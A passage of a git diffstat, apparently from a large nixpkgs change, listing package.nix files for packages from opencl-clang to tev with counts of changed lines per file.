 pkgs/by-name/op/opencl-clang/package.nix      |  35 +-
 pkgs/by-name/op/openclonk/package.nix         |  15 +-
 pkgs/by-name/op/opencollada/package.nix       |  19 +-
 pkgs/by-name/op/openctm/package.nix           |   3 +-
 pkgs/by-name/op/opendht/package.nix           |  31 +-
 pkgs/by-name/op/opendkim/package.nix          |   6 +-
 pkgs/by-name/op/openfortivpn/package.nix      |  26 +-
 pkgs/by-name/op/openfpgaloader/package.nix    |  19 +-
 pkgs/by-name/op/openh264/package.nix          |  13 +-
 pkgs/by-name/op/openhmd/package.nix           |  17 +-
 pkgs/by-name/op/openimagedenoise/package.nix  |  28 +-
 pkgs/by-name/op/openjpeg/package.nix          |  26 +-
 pkgs/by-name/op/openldap/package.nix          |  56 +-
 pkgs/by-name/op/openmm/package.nix            |  97 +-
 pkgs/by-name/op/openmolcas/package.nix        |  42 +-
 pkgs/by-name/op/openmpi/package.nix           | 153 ++-
 pkgs/by-name/op/openocd/package.nix           |  26 +-
 pkgs/by-name/op/openomf/package.nix           |  27 +-
 .../op/openorienteering-mapper/package.nix    |  37 +-
 pkgs/by-name/op/openrgb/package.nix           |  36 +-
 pkgs/by-name/op/openroad/package.nix          |  86 +-
 pkgs/by-name/op/opensbi/package.nix           |  19 +-
 pkgs/by-name/op/opensc/package.nix            |  31 +-
 pkgs/by-name/op/opensmt/package.nix           |   3 +-
 pkgs/by-name/op/opensp/package.nix            |  27 +-
 pkgs/by-name/op/opensplat/package.nix         |  59 +-
 pkgs/by-name/op/opensubdiv/package.nix        |  52 +-
 pkgs/by-name/op/opentelemetry-cpp/package.nix |   3 +-
 pkgs/by-name/op/openturns/package.nix         |  48 +-
 pkgs/by-name/op/openvino/package.nix          |  62 +-
 pkgs/by-name/op/openvpn3/package.nix          |   3 +-
 pkgs/by-name/op/openvswitch/package.nix       |  49 +-
 pkgs/by-name/op/ophcrack/package.nix          |  32 +-
 pkgs/by-name/op/optipng/package.nix           |  15 +-
 pkgs/by-name/op/opusfile/package.nix          |  23 +-
 pkgs/by-name/op/opustags/package.nix          |  22 +-
 pkgs/by-name/or/or-tools/package.nix          |  81 +-
 .../or/oracle-instantclient/package.nix       |  27 +-
 pkgs/by-name/or/oranda/package.nix            |  17 +-
 pkgs/by-name/or/orbiton/package.nix           |  19 +-
 pkgs/by-name/or/orc/package.nix               |  22 +-
 pkgs/by-name/or/orca-slicer/package.nix       |  95 +-
 pkgs/by-name/os/osi/package.nix               |  17 +-
 pkgs/by-name/os/osm2pgsql/package.nix         |  47 +-
 pkgs/by-name/os/ostree/package.nix            | 109 ++-
 pkgs/by-name/ot/otb/package.nix               |  68 +-
 pkgs/by-name/ot/otel-cli/package.nix          |  25 +-
 pkgs/by-name/ot/otf2/package.nix              |  15 +-
 pkgs/by-name/ot/ott/package.nix               |  32 +-
 pkgs/by-name/ov/ovftool/package.nix           | 191 ++--
 pkgs/by-name/ow/owl-compositor/package.nix    |  38 +-
 pkgs/by-name/ow/owmods-cli/package.nix        |  37 +-
 pkgs/by-name/ow/owncloud-client/package.nix   |  27 +-
 pkgs/by-name/ow/owntone/package.nix           |  43 +-
 pkgs/by-name/p4/p4/package.nix                |  41 +-
 pkgs/by-name/pa/pacemaker/package.nix         |   3 +-
 pkgs/by-name/pa/packcc/package.nix            |  17 +-
 pkgs/by-name/pa/pacu/package.nix              |  41 +-
 pkgs/by-name/pa/pagmo2/package.nix            |  34 +-
 pkgs/by-name/pa/pahole/package.nix            |  19 +-
 pkgs/by-name/pa/palp/package.nix              |  25 +-
 pkgs/by-name/pa/pam_p11/package.nix           |   3 +-
 pkgs/by-name/pa/pan/package.nix               |  23 +-
 pkgs/by-name/pa/pantheon-tweaks/package.nix   |  27 +-
 pkgs/by-name/pa/pantum-driver/package.nix     |  29 +-
 pkgs/by-name/pa/paperjam/package.nix          |   3 +-
 pkgs/by-name/pa/paperless-ngx/package.nix     |  34 +-
 pkgs/by-name/pa/papers/package.nix            |  62 +-
 pkgs/by-name/pa/pappl/package.nix             |  33 +-
 pkgs/by-name/pa/parabolic/package.nix         |  60 +-
 pkgs/by-name/pa/parted/package.nix            |  11 +-
 pkgs/by-name/pa/particl-core/package.nix      |  15 +-
 pkgs/by-name/pa/partio/package.nix            |  23 +-
 pkgs/by-name/pa/pax-britannica/package.nix    |  45 +-
 pkgs/by-name/pb/pb_cli/package.nix            |  15 +-
 pkgs/by-name/pc/pc-ble-driver/package.nix     |  24 +-
 pkgs/by-name/pc/pcaudiolib/package.nix        |  11 +-
 pkgs/by-name/pc/pcem/package.nix              |  12 +-
 pkgs/by-name/pc/pciutils/package.nix          |   3 +-
 pkgs/by-name/pc/pcl/package.nix               |   3 +-
 pkgs/by-name/pc/pcmciaUtils/package.nix       |  27 +-
 pkgs/by-name/pc/pcsc-tools/package.nix        | 112 ++-
 pkgs/by-name/pc/pcsclite/package.nix          |  77 +-
 pkgs/by-name/pc/pcsx2/package.nix             |   3 +-
 pkgs/by-name/pd/pdal/package.nix              |  41 +-
 pkgs/by-name/pd/pdisk/package.nix             |  17 +-
 pkgs/by-name/pd/pdns-recursor/package.nix     |   3 +-
 pkgs/by-name/pe/peakperf/package.nix          |  17 +-
 pkgs/by-name/pe/peazip/package.nix            |  15 +-
 pkgs/by-name/pe/persepolis/package.nix        |  25 +-
 .../pe/persistent-cache-cpp/package.nix       |  27 +-
 pkgs/by-name/pe/petsc/package.nix             | 179 ++--
 pkgs/by-name/pf/pfft/package.nix              |   3 +-
 pkgs/by-name/pg/pgagroal/package.nix          |   3 +-
 pkgs/by-name/pg/pgbouncer/package.nix         |   3 +-
 pkgs/by-name/pg/pgcopydb/package.nix          |  23 +-
 pkgs/by-name/pg/pgpool/package.nix            |   6 +-
 pkgs/by-name/ph/photoqt/package.nix           |  43 +-
 pkgs/by-name/pi/picard/package.nix            |  53 +-
 pkgs/by-name/pi/picolibc/package.nix          | 121 ++-
 pkgs/by-name/pi/picolisp/package.nix          |  19 +-
 pkgs/by-name/pi/picom/package.nix             |  15 +-
 pkgs/by-name/pi/pijul/package.nix             |   3 +-
 pkgs/by-name/pi/pikchr/package.nix            |  25 +-
 pkgs/by-name/pi/pilot-link/package.nix        |  40 +-
 pkgs/by-name/pi/pineflash/package.nix         |  32 +-
 pkgs/by-name/pi/pinocchio/package.nix         |  79 +-
 pkgs/by-name/pi/pitivi/package.nix            |  37 +-
 pkgs/by-name/pj/pjsip/package.nix             |  88 +-
 .../pk/pkg-config-unwrapped/package.nix       |  31 +-
 pkgs/by-name/pk/pkg/package.nix               |   3 +-
 pkgs/by-name/pk/pktgen/package.nix            |  23 +-
 pkgs/by-name/pl/playerctl/package.nix         |  23 +-
 pkgs/by-name/pl/plfit/package.nix             |  28 +-
 pkgs/by-name/pl/plink-ng/package.nix          |  15 +-
 pkgs/by-name/pm/pmacct/package.nix            |  48 +-
 pkgs/by-name/pm/pmars/package.nix             |   6 +-
 pkgs/by-name/pm/pmbootstrap/package.nix       |  19 +-
 pkgs/by-name/pm/pmix/package.nix              |  33 +-
 pkgs/by-name/pn/pnfft/package.nix             |   3 +-
 pkgs/by-name/pn/pngout/package.nix            |  15 +-
 pkgs/by-name/po/pocl/package.nix              |  64 +-
 pkgs/by-name/po/podman-desktop/package.nix    |  62 +-
 pkgs/by-name/po/podman-tui/package.nix        |   3 +-
 pkgs/by-name/po/podman/package.nix            |  52 +-
 .../po/poetry/plugins/poetry-plugin-shell.nix |  17 +-
 pkgs/by-name/po/poetry/unwrapped.nix          |  69 +-
 pkgs/by-name/po/poke/package.nix              |  49 +-
 pkgs/by-name/po/polkadot/package.nix          |   3 +-
 pkgs/by-name/po/polkit/package.nix            |  89 +-
 pkgs/by-name/po/polybar/package.nix           |  71 +-
 pkgs/by-name/po/polymake/package.nix          |  41 +-
 pkgs/by-name/po/ponyc/package.nix             | 121 ++-
 pkgs/by-name/po/portablemc/package.nix        |   3 +-
 pkgs/by-name/po/portaudio/package.nix         |  32 +-
 pkgs/by-name/po/positron-bin/package.nix      |  46 +-
 pkgs/by-name/po/postfix/package.nix           |  27 +-
 .../po/power-profiles-daemon/package.nix      |  53 +-
 pkgs/by-name/po/powerdns-admin/package.nix    |   3 +-
 pkgs/by-name/po/powershell/package.nix        |  73 +-
 pkgs/by-name/pp/ppl/package.nix               |  17 +-
 pkgs/by-name/pp/ppp/package.nix               |  21 +-
 pkgs/by-name/pp/ppsspp/package.nix            |  48 +-
 pkgs/by-name/pr/pre-commit/package.nix        | 192 ++--
 pkgs/by-name/pr/previewqt/package.nix         |  37 +-
 .../pr/prism-model-checker/package.nix        |   3 +-
 .../pr/prismlauncher-unwrapped/package.nix    |  38 +-
 pkgs/by-name/pr/prismlauncher/package.nix     |  67 +-
 pkgs/by-name/pr/pritunl-client/package.nix    | 120 ++-
 pkgs/by-name/pr/procmail/package.nix          |  37 +-
 pkgs/by-name/pr/procs/package.nix             |   3 +-
 pkgs/by-name/pr/professor/package.nix         |  17 +-
 .../prometheus-borgmatic-exporter/package.nix |  25 +-
 pkgs/by-name/pr/proot/package.nix             |   6 +-
 pkgs/by-name/pr/proxsuite-nlp/package.nix     |  28 +-
 pkgs/by-name/pr/proxsuite/package.nix         |  36 +-
 pkgs/by-name/ps/psc-package/package.nix       |  43 +-
 pkgs/by-name/ps/psqlodbc/package.nix          |  41 +-
 pkgs/by-name/ps/psst/package.nix              |  25 +-
 pkgs/by-name/ps/pstoedit/package.nix          |  25 +-
 pkgs/by-name/pt/ptcollab/package.nix          |  34 +-
 pkgs/by-name/pu/pueue/package.nix             |  13 +-
 pkgs/by-name/pu/pulsar/package.nix            | 170 ++--
 pkgs/by-name/pu/pulseaudio-dlna/zeroconf.nix  |   3 +-
 .../pu/pulumi/extra/mk-pulumi-package.nix     |   3 +-
 pkgs/by-name/pw/pwsafe/package.nix            |  87 +-
 pkgs/by-name/py/pylyzer/package.nix           |   3 +-
 pkgs/by-name/py/pymol/package.nix             |  62 +-
 pkgs/by-name/py/pympress/package.nix          |  29 +-
 pkgs/by-name/py/pytrainer/package.nix         |  19 +-
 pkgs/by-name/q2/q2pro/package.nix             |  58 +-
 .../qa/qadwaitadecorations/package.nix        |  11 +-
 pkgs/by-name/qa/qalculate-gtk/package.nix     |   3 +-
 pkgs/by-name/qa/qastools/package.nix          |  19 +-
 pkgs/by-name/qb/qbittorrent/package.nix       |  42 +-
 pkgs/by-name/qc/qcm/package.nix               |   3 +-
 pkgs/by-name/qd/qdirstat/package.nix          |  13 +-
 pkgs/by-name/qd/qdiskinfo/package.nix         |  21 +-
 pkgs/by-name/qe/qemacs/package.nix            |  13 +-
 pkgs/by-name/qg/qgroundcontrol/package.nix    |  15 +-
 pkgs/by-name/ql/qlog/package.nix              |  25 +-
 pkgs/by-name/qm/qmidiarp/package.nix          |  17 +-
 pkgs/by-name/qm/qmplay2/package.nix           |  72 +-
 pkgs/by-name/qo/qodem/package.nix             |  17 +-
 pkgs/by-name/qo/qownnotes/package.nix         |  22 +-
 pkgs/by-name/qr/qrtool/package.nix            |  21 +-
 pkgs/by-name/qt/qtalarm/package.nix           |  41 +-
 pkgs/by-name/qt/qtorganizer-mkcal/package.nix |  17 +-
 pkgs/by-name/qt/qtox/package.nix              |   3 +-
 pkgs/by-name/qt/qtscrcpy/package.nix          |  21 +-
 .../by-name/qu/quartus-prime-lite/package.nix |  61 +-
 .../by-name/qu/quartus-prime-lite/quartus.nix |  15 +-
 pkgs/by-name/qu/quickemu/package.nix          |  47 +-
 pkgs/by-name/qu/quill/package.nix             |  15 +-
 pkgs/by-name/qu/quirc/package.nix             |  19 +-
 pkgs/by-name/qu/qutebrowser/package.nix       |  33 +-
 pkgs/by-name/ra/raider/package.nix            |  25 +-
 pkgs/by-name/ra/range-v3/package.nix          |   3 +-
 pkgs/by-name/ra/ranger/package.nix            |  58 +-
 pkgs/by-name/ra/rasdaemon/package.nix         |  25 +-
 pkgs/by-name/ra/rav1e/package.nix             |  23 +-
 pkgs/by-name/ra/raylib/package.nix            |  18 +-
 pkgs/by-name/rb/rbw/package.nix               |  56 +-
 pkgs/by-name/rc/rc/package.nix                |  26 +-
 pkgs/by-name/rc/rclip/package.nix             |   3 +-
 pkgs/by-name/rc/rcodesign/package.nix         |  29 +-
 pkgs/by-name/rc/rcu/package.nix               | 105 +-
 pkgs/by-name/rd/rdesktop/package.nix          |  24 +-
 pkgs/by-name/re/re2/package.nix               |  17 +-
 pkgs/by-name/re/readsb/package.nix            |   3 +-
 pkgs/by-name/re/rebels-in-the-sky/package.nix |  15 +-
 pkgs/by-name/re/recastnavigation/package.nix  |  27 +-
 pkgs/by-name/re/recordbox/package.nix         |  29 +-
 pkgs/by-name/re/recutils/package.nix          |  27 +-
 pkgs/by-name/re/redict/package.nix            |  31 +-
 pkgs/by-name/re/redis-plus-plus/package.nix   |  19 +-
 pkgs/by-name/re/redis/package.nix             |  31 +-
 pkgs/by-name/re/redo-apenwarr/package.nix     |  33 +-
 pkgs/by-name/re/refind/package.nix            |  27 +-
 pkgs/by-name/re/refine/package.nix            |  15 +-
 pkgs/by-name/re/regripper/package.nix         |   3 +-
 pkgs/by-name/re/rehex/package.nix             |  39 +-
 pkgs/by-name/re/remmina/package.nix           | 117 ++-
 pkgs/by-name/re/renderdoc/package.nix         |  27 +-
 pkgs/by-name/re/renovate/package.nix          |  44 +-
 pkgs/by-name/re/renpy/package.nix             |  48 +-
 pkgs/by-name/re/repgrep/package.nix           |  29 +-
 pkgs/by-name/re/repseek/package.nix           |  19 +-
 pkgs/by-name/re/rerun/package.nix             |   3 +-
 pkgs/by-name/re/resonance/package.nix         |  35 +-
 pkgs/by-name/re/restic-browser/package.nix    |  19 +-
 pkgs/by-name/re/restinio/package.nix          |  37 +-
 pkgs/by-name/re/retdec/package.nix            | 130 ++-
 pkgs/by-name/re/retool/package.nix            |  13 +-
 pkgs/by-name/re/retroarch-bare/package.nix    | 117 ++-
 pkgs/by-name/re/retroarch-bare/wrapper.nix    |  13 +-
 pkgs/by-name/re/retrofe/package.nix           |  31 +-
 pkgs/by-name/rh/rhash/package.nix             |  15 +-
 pkgs/by-name/rh/rhythmbox/package.nix         |   3 +-
 pkgs/by-name/ri/ride/package.nix              |   3 +-
 pkgs/by-name/ri/riemann_c_client/package.nix  |  15 +-
 pkgs/by-name/ri/rigel-engine/package.nix      |   3 +-
 pkgs/by-name/ri/rink/package.nix              |  23 +-
 pkgs/by-name/ri/rio/package.nix               |  69 +-
 pkgs/by-name/ri/ripes/package.nix             |  31 +-
 pkgs/by-name/ri/ripgrep/package.nix           |  22 +-
 pkgs/by-name/ri/ripmime/package.nix           |  13 +-
 pkgs/by-name/ri/ripser/package.nix            |  23 +-
 pkgs/by-name/ri/river/package.nix             |  19 +-
 pkgs/by-name/rm/rmg/package.nix               |  47 +-
 pkgs/by-name/rm/rmw/package.nix               |   3 +-
 pkgs/by-name/rn/rng-tools/package.nix         |  54 +-
 pkgs/by-name/rn/rnnoise-plugin/package.nix    |  21 +-
 pkgs/by-name/rn/rnote/package.nix             |  25 +-
 pkgs/by-name/ro/roc-toolkit/package.nix       |  21 +-
 pkgs/by-name/ro/rockbox-utility/package.nix   |   3 +-
 pkgs/by-name/ro/rocksdb/package.nix           |  24 +-
 pkgs/by-name/ro/rofimoji/package.nix          |  23 +-
 pkgs/by-name/ro/root/package.nix              | 171 ++--
 pkgs/by-name/ro/root5/package.nix             | 199 ++--
 pkgs/by-name/ro/rosa/package.nix              |   3 +-
 pkgs/by-name/ro/route-graph/package.nix       |  17 +-
 pkgs/by-name/rp/rpPPPoE/package.nix           |   3 +-
 pkgs/by-name/rp/rpcbind/package.nix           |   3 +-
 pkgs/by-name/rp/rpcs3/package.nix             |  59 +-
 pkgs/by-name/rp/rpcsvc-proto/package.nix      |  21 +-
 pkgs/by-name/rp/rpi-imager/package.nix        |  31 +-
 pkgs/by-name/rq/rquickshare/package.nix       |  23 +-
 pkgs/by-name/rr/rrdtool/package.nix           |  23 +-
 pkgs/by-name/rs/rshim-user-space/package.nix  |  18 +-
 pkgs/by-name/rs/rspamd/package.nix            |  50 +-
 pkgs/by-name/rs/rstudio/package.nix           | 267 +++---
 pkgs/by-name/rt/rtags/package.nix             |   3 +-
 pkgs/by-name/rt/rtfm/package.nix              |   3 +-
 pkgs/by-name/rt/rtmpdump/package.nix          |  30 +-
 pkgs/by-name/ru/rubyfmt/package.nix           |  23 +-
 pkgs/by-name/ru/ruffle/package.nix            |  42 +-
 pkgs/by-name/ru/runit/package.nix             |  19 +-
 pkgs/by-name/ru/rust-cbindgen/package.nix     |  29 +-
 pkgs/by-name/ru/rustdesk/package.nix          |  57 +-
 pkgs/by-name/ru/rusty-psn/package.nix         |  67 +-
 pkgs/by-name/ru/rutabaga_gfx/package.nix      |  23 +-
 pkgs/by-name/rv/rvvm/package.nix              |   9 +-
 pkgs/by-name/ry/rygel/package.nix             |  59 +-
 pkgs/by-name/ry/ryubing/package.nix           |  53 +-
 pkgs/by-name/s2/s2n-tls/package.nix           |  17 +-
 pkgs/by-name/sa/sacrifice/package.nix         |  13 +-
 pkgs/by-name/sa/saga/package.nix              |  58 +-
 pkgs/by-name/sa/sage/sage-env.nix             | 187 ++--
 pkgs/by-name/sa/sage/sage-src.nix             |  33 +-
 pkgs/by-name/sa/sage/sage.nix                 |  27 +-
 .../by-name/sa/sagittarius-scheme/package.nix |   3 +-
 pkgs/by-name/sa/salmon/package.nix            |   3 +-
 pkgs/by-name/sa/sapling/package.nix           |  36 +-
 pkgs/by-name/sa/satysfi/package.nix           |  31 +-
 pkgs/by-name/sb/sbctl/package.nix             |  19 +-
 pkgs/by-name/sc/sc-im/package.nix             |  21 +-
 pkgs/by-name/sc/scala-cli/package.nix         |   3 +-
 pkgs/by-name/sc/scalp/package.nix             |  48 +-
 pkgs/by-name/sc/scanbd/package.nix            |  23 +-
 pkgs/by-name/sc/scdoc/package.nix             |  13 +-
 pkgs/by-name/sc/schismtracker/package.nix     |  44 +-
 pkgs/by-name/sc/scilab-bin/package.nix        |  33 +-
 pkgs/by-name/sc/scopehal-apps/package.nix     |  64 +-
 pkgs/by-name/sc/scrcpy/package.nix            |  21 +-
 pkgs/by-name/sc/screen-pipe/package.nix       |  29 +-
 pkgs/by-name/sd/SDL2_image/package.nix        |  52 +-
 pkgs/by-name/sd/SDL2_ttf/package.nix          |  17 +-
 pkgs/by-name/sd/SDL_compat/package.nix        |  32 +-
 pkgs/by-name/sd/sdcc/package.nix              |  32 +-
 pkgs/by-name/sd/sdl2-compat/package.nix       |  29 +-
 pkgs/by-name/sd/sdl3-image/package.nix        |  21 +-
 pkgs/by-name/sd/sdl3-ttf/package.nix          |   3 +-
 pkgs/by-name/sd/sdl3/package.nix              |  18 +-
 pkgs/by-name/sd/sdrpp/package.nix             |  61 +-
 pkgs/by-name/se/segger-jlink/package.nix      |  13 +-
 pkgs/by-name/se/selinux-refpolicy/package.nix |  31 +-
 pkgs/by-name/se/semantic-release/package.nix  |   3 +-
 pkgs/by-name/se/sequoia-wot/package.nix       |  15 +-
 pkgs/by-name/se/serf/package.nix              |  24 +-
 pkgs/by-name/se/servo/package.nix             |  45 +-
 pkgs/by-name/se/setroot/package.nix           |   3 +-
 pkgs/by-name/sf/sfeed/package.nix             |  13 +-
 pkgs/by-name/sf/sfml/package.nix              |  35 +-
 pkgs/by-name/sf/sfml_2/package.nix            |  33 +-
 pkgs/by-name/sg/sgx-ssl/package.nix           |  13 +-
 pkgs/by-name/sg/sgx-ssl/tests.nix             |  34 +-
 pkgs/by-name/sh/shader-slang/package.nix      | 115 ++-
 pkgs/by-name/sh/shadow/package.nix            |  30 +-
 pkgs/by-name/sh/shairport-sync/package.nix    | 131 ++-
 pkgs/by-name/sh/shanggu-fonts/package.nix     |  50 +-
 pkgs/by-name/sh/shared-mime-info/package.nix  |   3 +-
 pkgs/by-name/sh/shark/package.nix             |   3 +-
 pkgs/by-name/sh/sheldon/package.nix           |  11 +-
 pkgs/by-name/sh/shipwright/package.nix        | 103 +-
 pkgs/by-name/sh/shogihome/package.nix         |  80 +-
 pkgs/by-name/sh/shorewall/package.nix         |  25 +-
 pkgs/by-name/sh/shortwave/package.nix         |  37 +-
 pkgs/by-name/sh/shutter/package.nix           |   3 +-
 pkgs/by-name/si/sidplayfp/package.nix         |  25 +-
 pkgs/by-name/si/sigal/package.nix             |  13 +-
 pkgs/by-name/si/signal-cli/package.nix        |  51 +-
 .../by-name/si/signalbackup-tools/package.nix |  28 +-
 pkgs/by-name/si/sile/package.nix              | 102 +-
 pkgs/by-name/si/silicon/package.nix           |  26 +-
 pkgs/by-name/si/simdjson/package.nix          |  23 +-
 pkgs/by-name/si/simgrid/package.nix           |  39 +-
 pkgs/by-name/si/simulide/package.nix          |  17 +-
 pkgs/by-name/si/singular/package.nix          |  77 +-
 pkgs/by-name/si/sioyek/package.nix            |  27 +-
 pkgs/by-name/si/sipp/package.nix              |   3 +-
 pkgs/by-name/si/sipvicious/package.nix        |  13 +-
 pkgs/by-name/si/sirikali/package.nix          |  17 +-
 pkgs/by-name/si/sirius/package.nix            | 138 ++-
 pkgs/by-name/sk/skia/package.nix              |  54 +-
 pkgs/by-name/sk/skopeo/package.nix            |  38 +-
 pkgs/by-name/sk/skribilo/package.nix          |  27 +-
 pkgs/by-name/sk/skyemu/package.nix            |  29 +-
 pkgs/by-name/sl/slack/package.nix             |  69 +-
 pkgs/by-name/sl/slang/package.nix             |   3 +-
 pkgs/by-name/sl/slepc/package.nix             |  43 +-
 pkgs/by-name/sl/sleqp/package.nix             |  37 +-
 pkgs/by-name/sl/slic3r/package.nix            |  59 +-
 pkgs/by-name/sl/slimevr/package.nix           |  68 +-
 pkgs/by-name/sl/slint-lsp/package.nix         |  25 +-
 pkgs/by-name/sl/slurm/package.nix             | 129 ++-
 pkgs/by-name/sl/slurp/package.nix             |   3 +-
 pkgs/by-name/sm/sm64ex/package.nix            |  13 +-
 pkgs/by-name/sm/smatch/package.nix            |  13 +-
 pkgs/by-name/sm/smokeping/package.nix         |  37 +-
 pkgs/by-name/sm/smpeg/package.nix             |  15 +-
 pkgs/by-name/sm/smuview/package.nix           |   6 +-
 pkgs/by-name/sm/smuxi/package.nix             |  34 +-
 pkgs/by-name/sn/sn0int/package.nix            |  15 +-
 pkgs/by-name/sn/snakemake/package.nix         | 123 ++-
 pkgs/by-name/sn/snapcraft/package.nix         |   3 +-
 pkgs/by-name/sn/snd/package.nix               |  29 +-
 pkgs/by-name/sn/snes9x/package.nix            |  72 +-
 pkgs/by-name/sn/sniffglue/package.nix         |  13 +-
 pkgs/by-name/sn/sniffnet/package.nix          |  35 +-
 pkgs/by-name/sn/snobol4/package.nix           |  25 +-
 pkgs/by-name/so/so/package.nix                |  11 +-
 pkgs/by-name/so/soapyaudio/package.nix        |  23 +-
 pkgs/by-name/so/sockperf/package.nix          |   9 +-
 pkgs/by-name/so/sogo/package.nix              |   3 +-
 pkgs/by-name/so/solana-cli/package.nix        |  48 +-
 pkgs/by-name/so/solc/package.nix              |  50 +-
 pkgs/by-name/so/sonarr/package.nix            |  41 +-
 pkgs/by-name/so/sonic/package.nix             |  13 +-
 pkgs/by-name/so/sope/package.nix              |  42 +-
 pkgs/by-name/so/soundtracker/package.nix      |  16 +-
 pkgs/by-name/so/soupault/package.nix          |  11 +-
 pkgs/by-name/so/sourceHighlight/package.nix   |  62 +-
 pkgs/by-name/sp/spaceFM/package.nix           |   3 +-
 pkgs/by-name/sp/spade/package.nix             |   3 +-
 pkgs/by-name/sp/spatialite-gui/package.nix    |   3 +-
 pkgs/by-name/sp/speech-tools/package.nix      |  13 +-
 pkgs/by-name/sp/speechd/package.nix           | 127 ++-
 pkgs/by-name/sp/spfft/package.nix             |  61 +-
 pkgs/by-name/sp/sphinxsearch/package.nix      |  15 +-
 pkgs/by-name/sp/spice-gtk/package.nix         | 166 ++--
 pkgs/by-name/sp/spice/package.nix             |  53 +-
 pkgs/by-name/sp/spider/package.nix            |  43 +-
 .../sp/spirv-llvm-translator/package.nix      |  42 +-
 pkgs/by-name/sp/spla/package.nix              |  42 +-
 pkgs/by-name/sp/spotify-player/package.nix    |  62 +-
 pkgs/by-name/sp/spral/package.nix             |  30 +-
 pkgs/by-name/sq/sqlite-vss/package.nix        |  15 +-
 pkgs/by-name/sq/sqlitestudio/package.nix      |  38 +-
 pkgs/by-name/sq/sqsh/package.nix              |  13 +-
 pkgs/by-name/sq/squashfsTools/package.nix     |   9 +-
 pkgs/by-name/sq/squeezelite/package.nix       |  58 +-
 pkgs/by-name/sq/squid/package.nix             |  60 +-
 pkgs/by-name/sr/srt/package.nix               |  13 +-
 pkgs/by-name/ss/ssh-mitm/package.nix          |   3 +-
 pkgs/by-name/ss/sshfs-fuse/common.nix         |  15 +-
 pkgs/by-name/ss/sslh/package.nix              |  21 +-
 pkgs/by-name/st/stalwart-mail/package.nix     |  47 +-
 pkgs/by-name/st/starfetch/package.nix         |  13 +-
 pkgs/by-name/st/starship/package.nix          |  29 +-
 pkgs/by-name/st/steam/package.nix             |   3 +-
 pkgs/by-name/st/steel/package.nix             |  29 +-
 pkgs/by-name/st/stfl/package.nix              |  48 +-
 pkgs/by-name/st/stgit/package.nix             |  17 +-
 pkgs/by-name/st/stlink/package.nix            |  28 +-
 pkgs/by-name/st/stp/package.nix               |  67 +-
 pkgs/by-name/st/strace/package.nix            |  12 +-
 pkgs/by-name/st/streamcontroller/package.nix  | 216 +++--
 pkgs/by-name/st/streamdeck-ui/package.nix     |  15 +-
 pkgs/by-name/st/stress-ng/package.nix         |  33 +-
 pkgs/by-name/st/stripe-cli/package.nix        |  51 +-
 pkgs/by-name/st/strongswan/package.nix        | 216 +++--
 pkgs/by-name/st/stubby/package.nix            |   3 +-
 pkgs/by-name/st/stunnel/package.nix           |  19 +-
 pkgs/by-name/su/sublime-music/package.nix     |  13 +-
 pkgs/by-name/su/subtitlecomposer/package.nix  |  33 +-
 pkgs/by-name/su/sudo/package.nix              |  39 +-
 pkgs/by-name/su/suil/package.nix              |  25 +-
 pkgs/by-name/su/sumo/package.nix              |  65 +-
 pkgs/by-name/su/sunshine/package.nix          | 161 ++--
 pkgs/by-name/su/sunvox/package.nix            |  51 +-
 .../by-name/su/super-productivity/package.nix |  11 +-
 pkgs/by-name/su/superTuxKart/package.nix      |  45 +-
 pkgs/by-name/su/superlu/package.nix           |  19 +-
 pkgs/by-name/su/superlu_dist/package.nix      |  46 +-
 pkgs/by-name/su/supersonic/package.nix        |  77 +-
 pkgs/by-name/su/surf/package.nix              |  33 +-
 pkgs/by-name/su/suricata/package.nix          | 125 ++-
 pkgs/by-name/su/survex/package.nix            |  31 +-
 pkgs/by-name/sv/svt-av1-psy/package.nix       |  28 +-
 pkgs/by-name/sw/sway-unwrapped/package.nix    |  72 +-
 pkgs/by-name/sw/swayfx-unwrapped/package.nix  |  36 +-
 pkgs/by-name/sw/swayidle/package.nix          |   3 +-
 pkgs/by-name/sw/swi-prolog/package.nix        |  18 +-
 pkgs/by-name/sw/sword/package.nix             |  57 +-
 pkgs/by-name/sw/swtpm/package.nix             |  38 +-
 pkgs/by-name/sy/sylpheed/package.nix          |   7 +-
 pkgs/by-name/sy/symengine/package.nix         |  29 +-
 pkgs/by-name/sy/sympow/package.nix            |  21 +-
 pkgs/by-name/sy/syncterm/package.nix          |  22 +-
 .../sy/syndication-domination/package.nix     |  19 +-
 pkgs/by-name/sy/synfigstudio/package.nix      |  19 +-
 pkgs/by-name/sy/sysbench/package.nix          |   3 +-
 pkgs/by-name/sy/syslinux/package.nix          |  41 +-
 pkgs/by-name/sy/syslogng/package.nix          |  56 +-
 pkgs/by-name/sy/systemd-netlogd/package.nix   |  16 +-
 pkgs/by-name/sy/sysvinit/package.nix          |  25 +-
 pkgs/by-name/t-/t-rec/package.nix             |  11 +-
 pkgs/by-name/ta/tabby/package.nix             |  41 +-
 pkgs/by-name/ta/tacacsplus/package.nix        |  15 +-
 pkgs/by-name/ta/tachyon/package.nix           |  23 +-
 pkgs/by-name/ta/taco/package.nix              |   3 +-
 pkgs/by-name/ta/tailscale/package.nix         | 156 ++-
 pkgs/by-name/ta/taisei/package.nix            |   3 +-
 pkgs/by-name/ta/talloc/package.nix            |  40 +-
 pkgs/by-name/ta/tangram/package.nix           |  35 +-
 pkgs/by-name/ta/tarsnap/package.nix           |  13 +-
 pkgs/by-name/ta/taskopen/package.nix          |  13 +-
 pkgs/by-name/ta/taskwarrior3/package.nix      |  15 +-
 pkgs/by-name/ta/taterclient-ddnet/package.nix |   3 +-
 pkgs/by-name/tc/tcpcrypt/package.nix          |  21 +-
 pkgs/by-name/tc/tcpflow/package.nix           |   3 +-
 pkgs/by-name/td/tdb/package.nix               |  17 +-
 pkgs/by-name/td/tdlib/package.nix             |  23 +-
 pkgs/by-name/te/teams-for-linux/package.nix   | 105 +-
 pkgs/by-name/te/teamspeak3/package.nix        |  25 +-
 .../by-name/te/tectonic-unwrapped/package.nix |  21 +-
 pkgs/by-name/te/tectonic/package.nix          |  47 +-
 pkgs/by-name/te/teeworlds/package.nix         |  46 +-
 pkgs/by-name/te/telegraf/package.nix          |  15 +-
 .../te/telepathy-mission-control/package.nix  |  23 +-
 pkgs/by-name/te/teleport/package.nix          |  18 +-
 pkgs/by-name/te/tenacity/package.nix          | 104 +-
 pkgs/by-name/te/tensorflow-lite/package.nix   |  13 +-
 .../by-name/te/terminal-typeracer/package.nix |  17 +-
 pkgs/by-name/te/termscp/package.nix           |  23 +-
 pkgs/by-name/te/termusic/package.nix          |  23 +-
 pkgs/by-name/te/terra/package.nix             |  17 +-
 pkgs/by-name/te/test-drive/package.nix        |  17 +-
 pkgs/by-name/te/tev/package.nix               |  29 +-
